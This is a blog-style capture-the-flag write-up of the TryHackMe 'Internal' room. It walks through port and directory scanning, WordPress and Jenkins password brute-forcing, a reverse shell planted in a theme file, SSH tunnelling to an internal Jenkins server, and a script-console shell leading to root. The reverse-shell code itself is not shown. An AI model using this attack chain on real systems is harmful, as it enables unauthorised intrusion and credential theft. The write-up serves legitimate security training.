TryHackMe | Internal
I finally completed my first ever hard TryHackMe room called Internal.
It had a lot of unique methods of exploit including some I hadn't encountered before. It involved using a lot of tools and using experience gained from other earlier CTFs.
Port Scanning
I started by scanning the open ports on the server.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files/Internal]
└─$ nmap -p- -sV -oN internal.nmap 10.10.246.140
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-09 14:54 CEST
Nmap scan report for 10.10.246.140
Host is up (0.044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Directory Enumeration
Once I had determined that there was a web server running on port 80, I decided to do a scan for directories with gobuster, which yielded the following results.
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.246.140
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/04/09 14:54:52 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/blog (Status: 301) [Size: 313] [--> http://10.10.246.140/blog/]
/index.html (Status: 200) [Size: 10918]
/javascript (Status: 301) [Size: 319] [--> http://10.10.246.140/javascript/]
/phpmyadmin (Status: 301) [Size: 319] [--> http://10.10.246.140/phpmyadmin/]
/server-status (Status: 403) [Size: 278]
/wordpress (Status: 301) [Size: 318] [--> http://10.10.246.140/wordpress/]
WordPress Enumeration and brute-force
I initially visited the /blog
sub-directory and was greeted with what looked like a standard WordPress blog site. I started up wpscan and set it up to enumerate for valid usernames.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ wpscan -e u --url http://internal.thm/blog
...SNIP...
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Once I knew that there was a user called 'admin', I ran wpscan again, this time using the rockyou.txt
password list to try and brute-force the password for the admin user. This yielded a password I could use to log in to the WordPress admin panel.
I tried to upload some reverse-shell code packaged as a WordPress Plugin but unfortunately, this didn't work, as the wp-content folder was not writable.
Instead, I modified the existing theme template and added my reverse-shell code in the 404.php file.
Horizontal Privilege Escalation
After gaining a reverse shell as the www-data
user, I ran linpeas.sh but it didn't turn up anything I knew how to use. In the end, I manually enumerated the server, until I came across an interesting file in the /opt
folder called wp-save.txt
.
www-data@internal:/opt$ cat wp-save.txt
Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna:redacted
After logging in as aubreanna I was able to get the user flag from her home directory.
┌──(gareth㉿SRF239-L)-[~/Desktop/Tools/reverseshells/Wordpress]
└─$ ssh aubreanna@internal.thm
aubreanna@internal.thm's password:
Last login: Mon Aug 3 19:56:19 2020 from 10.6.2.56
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
aubreanna@internal:~$ cat user.txt
THM{redacted}
Vertical Privilege Escalation
There was another interesting file in aubreanna's home directory called jenkins.txt
This file told of the location of an internal Jenkins server running on an ip that was in a different range to that of the internal.thm server. I suspect it was maybe running in a container.
aubreanna@internal:~$ ls
jenkins.txt snap user.txt
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
SSH Tunneling
Thanks to me setting up my own Kubernetes cluster on a handful of Raspberry Pi's a couple of years ago, I was familiar with tunneling traffic through SSH. I once had to do this to access an instance of Kubernetes Dashboard from my local machine, so this was something I at least knew was possible.
I understood that this was a way to forward traffic from one machine and port to another. After a bit of googling to remember all the parameters, I was able to access the Jenkins server, through the following tunnel.
┌──(gareth㉿SRF239-L)-[~/Desktop/Tools/reverseshells/Wordpress]
└─$ ssh -L 0.0.0.0:8080:172.17.0.2:8080 aubreanna@internal.thm
This would tunnel all traffic from my local machine on port 8080, through the internal.thm server to the destination network address of the Jenkins server.
I could now access Jenkins from my local machine.
Jenkins Brute-Force
Now I had to brute-force the jenkins login. For this I used a module built in to Metasploit that I found after searching for jenkins in the app.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ msfconsole -q
msf6 > use auxiliary/scanner/http/jenkins_login
msf6 auxiliary(scanner/http/jenkins_login) >
I set the required options for the module, such as RHOSTS
, RPORT
, USERNAME
and PASS_FILE
. I chose to use the rockyou.txt
wordlist again for this attack.
Eventually, it found a valid password and I was able to log in as the admin user on the Jenkins server.
msf6 auxiliary(scanner/http/jenkins_login) > run
[+] 127.0.0.1:8080 - Login Successful: admin:redacted
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Jenkins Reverse Shell
As the admin user, I was able to navigate to the Script Console via the 'Manage Jenkins' menu.
The Script Console allows the admin to write scripts and have them executed on the server.
Thankfully this included system commands. I used the following script I found here, to create a reverse-shell.
Groovy Script
Manual Enumeration
After gaining a reverse shell as the Jenkins user, I did some more manual enumeration of the server, starting at the /opt
directory again because it was used earlier. To my sheer joy, I found a text file called note.txt
which contained the root user password. I did it!
Root Access
I then SSH'd into the server as the root user and captured the final root flag from /root/root.txt
.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ ssh root@internal.thm
root@internal.thm's password:
Last login: Mon Aug 3 19:59:17 2020 from 10.6.2.56
root@internal:~# cat /root/root.txt
THM{redacted}
Summary
What I liked the most about this room is that I was able to accomplish it the first time and didn't need to look at the walkthrough for any pointers. It feels good when you're doing these things and you just have a feeling that you're on the right path.
To finally get that root access at the end is always so rewarding. I look forward to learning more and tackling another hard room again soon.